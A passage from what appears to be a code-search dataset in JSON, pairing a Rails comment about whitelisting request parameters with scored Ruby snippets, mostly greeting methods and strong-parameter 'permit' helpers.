"docid": "ce6bb3b50d5c13858eaf8b30c5be6d32",
"score": "0.54884404",
"text": "def unicorn(why)\n puts why, \"Good job, rainbow kisses for you!!\"\n exit(0)\nend",
"title": ""
},
{
"docid": "554df12b8b565bd724834067d2837fe4",
"score": "0.5486392",
"text": "def greeter(name)\n puts \"Hello #{name}! How are you today?\"\nend",
"title": ""
},
{
"docid": "698c051112aaf3f19c390757fb685216",
"score": "0.548216",
"text": "def say_hello(name)\n puts \"Hello #{name}!\"\nend",
"title": ""
},
{
"docid": "e92b01e9cd36a5f334f9e3ebfc41bc06",
"score": "0.54813045",
"text": "def introduction # def opens a function/ method\n\tputs \"This is an introduction program to ruby.\" # puts includes \\n newline before displaying a string\n\tputs \"If you entered this from the command line it would have looked something like this...\"\n\tputs \"\\n\\t$\\t#{$0}\" # \"#{$0}\"\" displays the script ran from the command line. \nend",
"title": ""
},
{
"docid": "d12e7b7f302df7cc5d7001bccec15853",
"score": "0.5476625",
"text": "def hello(name=\"there\")\n puts \"Hello #{name}, you are awesome!\"\nend",
"title": ""
},
{
"docid": "1cf7c1d025079206fa5c111fad4a90d1",
"score": "0.54763424",
"text": "def say_hello(name)\n puts \"Good afternoon, #{name}. How are you?\"\nend",
"title": ""
},
{
"docid": "4260f0691f683b8aed2b4e17975ce866",
"score": "0.547444",
"text": "def code_like_crazy\r\n puts \"I'm crushing some code!\"\r\n end",
"title": ""
},
{
"docid": "36273e72c562120de67d87fd8e34f531",
"score": "0.54731774",
"text": "def greet(name)\n puts \"hello \" + name\nend",
"title": ""
},
{
"docid": "38a43c837065d83d95ca575e0077beab",
"score": "0.54680485",
"text": "def goodbye(name)\n say = \"Bye \" + name + \". \"\n return say\nend",
"title": ""
},
{
"docid": "31c56cd9cb35b32126399ff7be7b3214",
"score": "0.5461097",
"text": "def warning(string); end",
"title": ""
},
{
"docid": "31c56cd9cb35b32126399ff7be7b3214",
"score": "0.5461097",
"text": "def warning(string); end",
"title": ""
},
{
"docid": "cf2020875521c1c502794286402aa145",
"score": "0.5460094",
"text": "def greet(who)\n\t\"Hello, #{who}!\"\nend",
"title": ""
},
{
"docid": "cf2020875521c1c502794286402aa145",
"score": "0.5460094",
"text": "def greet(who)\n\t\"Hello, #{who}!\"\nend",
"title": ""
},
{
"docid": "cf2020875521c1c502794286402aa145",
"score": "0.5460094",
"text": "def greet(who)\n\t\"Hello, #{who}!\"\nend",
"title": ""
},
{
"docid": "bfa388ea6eb5dc493a13cc55e1839d16",
"score": "0.545682",
"text": "def greet(folks); \"Hi, #{folks}!\"; end",
"title": ""
},
{
"docid": "48c979f95d65b66ecb941e7e71370af0",
"score": "0.54532176",
"text": "def hello; :hello; end",
"title": ""
},
{
"docid": "cf6036409aa44c92f86da80f462c3f23",
"score": "0.54494613",
"text": "def goodbye(name)\n return = \"Bye \" + name + \".\"\nend",
"title": ""
},
{
"docid": "2fa1860d88fdc1103f48f1c9777b0dfc",
"score": "0.54488117",
"text": "def hello (name)\n\tputs \"Hi \" + name\nend",
"title": ""
},
{
"docid": "e00cd793f77281035b67050b37cab4b8",
"score": "0.5446327",
"text": "def goodbye \nputs \"see you tomorrow for more Makeup :)\"\nend",
"title": ""
},
{
"docid": "5320cf9dee73a6d0909681fab1cf88f6",
"score": "0.5438625",
"text": "def hello(name)\n puts \"Hello, \" + name + \"!\"\nend",
"title": ""
},
{
"docid": "8c90e95afc0af22c342505f3d4825262",
"score": "0.5435587",
"text": "def hey_hey; end",
"title": ""
},
{
"docid": "bcde265d2ace46c1f72cdeec2920b3d1",
"score": "0.54321176",
"text": "def print_none()\n puts \" I got nothin'\"\nend",
"title": ""
},
{
"docid": "236061ab9534a2b1cc3b368997ca700d",
"score": "0.5425369",
"text": "def complain something\n puts angry_dude_format something\n end",
"title": ""
},
{
"docid": "0ca944022f7186dbbcf59b14dbb607fe",
"score": "0.54233056",
"text": "def introduction(name)\n puts \"Hi, my name is #{name}.\\n\"\nend",
"title": ""
},
{
"docid": "7f4de65073bdcafe4c254fb67f20bcab",
"score": "0.54227966",
"text": "def greet(name)\n return puts \"Hello, #{name} how are you doing today?\"\nend",
"title": ""
},
{
"docid": "3a6c7ba8c3ed9ffbbec3d7a886b06c3a",
"score": "0.54206735",
"text": "def print_none()\n puts \"i got nothin'.\"\nend",
"title": ""
},
{
"docid": "1d4d6bee2d441de3440dfe96c6bdfaa4",
"score": "0.5407166",
"text": "def meow\n puts \"meow!\"\n end",
"title": ""
},
{
"docid": "1d4d6bee2d441de3440dfe96c6bdfaa4",
"score": "0.5407166",
"text": "def meow\n puts \"meow!\"\n end",
"title": ""
},
{
"docid": "9710f6ce4dc871a9356ce2efab7c6f62",
"score": "0.5401118",
"text": "def doing(what, message=nil)\n unless verbose\n message = [ \" #{what.to_s.upcase}\", message ].compact.join(' ')\n STDERR.puts message\n end\nend",
"title": ""
},
{
"docid": "6639d4d2901627d0b7f3bd68ff5b47e4",
"score": "0.5392776",
"text": "def hello(name=\"buddy\")\n puts \"Hey #{name}!!\"\nend",
"title": ""
},
{
"docid": "6e1471c709e987fdc94dc507cf7b6626",
"score": "0.539036",
"text": "def does\n puts \"ALL THE THINGESSSS!!!eleventy\"\nend",
"title": ""
},
{
"docid": "f80e108cd43e0e2bf716f3bedb4bb413",
"score": "0.5387419",
"text": "def introduction\n puts \"Hi #{target}, I'm #{first_name}!\"\n end",
"title": ""
},
{
"docid": "cad56dbb8b7c284122becd6b8ab59f8a",
"score": "0.53843004",
"text": "def goodbye \n puts \"Don't leave hungry!\"\n end",
"title": ""
},
{
"docid": "c2a9e0f785ee300b8457c6db9b579a05",
"score": "0.5381764",
"text": "def greeting(name)\r\n print \"Hello there, #{name}!\"\r\nend",
"title": ""
},
{
"docid": "423f72ce20f7ac3c9e81d8523848e58c",
"score": "0.5381059",
"text": "def say_hi( name = \"World\" )\n return \"rude\"\n \"Hello #{name}\"\nend",
"title": ""
},
{
"docid": "cd2982f23929ba2845839a52aae35a2b",
"score": "0.53801227",
"text": "def hello(name)\n \"Hello, \"\nend",
"title": ""
},
{
"docid": "1829758027d0a9be6320cb8565cc604a",
"score": "0.537976",
"text": "def print_none\n puts \"I got nothin'\"\nend",
"title": ""
},
{
"docid": "1103e86a5341496b0c84a1707a8b9ab4",
"score": "0.53783095",
"text": "def print_none()\n puts \"I got nothin'.\"\nend",
"title": ""
},
{
"docid": "bee0c8a8059ce17de84973b10be6b68e",
"score": "0.5377638",
"text": "def print_one()\n puts \"I got nothing'.\"\nend",
"title": ""
},
{
"docid": "ae4cfb59fdeaacece7279374413aa9e5",
"score": "0.53775954",
"text": "def print_none()\n puts \"I got nothin'.\"\nend",
"title": ""
},
{
"docid": "ae4cfb59fdeaacece7279374413aa9e5",
"score": "0.53775954",
"text": "def print_none()\n puts \"I got nothin'.\"\nend",
"title": ""
},
{
"docid": "ae4cfb59fdeaacece7279374413aa9e5",
"score": "0.53775954",
"text": "def print_none()\n puts \"I got nothin'.\"\nend",
"title": ""
},
{
"docid": "ae4cfb59fdeaacece7279374413aa9e5",
"score": "0.53775954",
"text": "def print_none()\n puts \"I got nothin'.\"\nend",
"title": ""
},
{
"docid": "ae4cfb59fdeaacece7279374413aa9e5",
"score": "0.53775954",
"text": "def print_none()\n puts \"I got nothin'.\"\nend",
"title": ""
},
{
"docid": "ae4cfb59fdeaacece7279374413aa9e5",
"score": "0.53775954",
"text": "def print_none()\n puts \"I got nothin'.\"\nend",
"title": ""
},
{
"docid": "ae4cfb59fdeaacece7279374413aa9e5",
"score": "0.53775954",
"text": "def print_none()\n puts \"I got nothin'.\"\nend",
"title": ""
},
{
"docid": "ae4cfb59fdeaacece7279374413aa9e5",
"score": "0.53775954",
"text": "def print_none()\n puts \"I got nothin'.\"\nend",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "f90922496b017066e4bf33050d3e927c",
"score": "0.0",
"text": "def bucket_list_params\n params.require(:bucket_list).permit(:title, :description)\n end",
"title": ""
}
] | [
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "a5542c18db128839699c146aa31fe9c7",
"score": "0.0",
"text": "def admin_products_color_params\n params.require(:products_color).permit(:size_ids =>[] )\n end",
"title": ""
}
] | [
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7497917",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69572496",
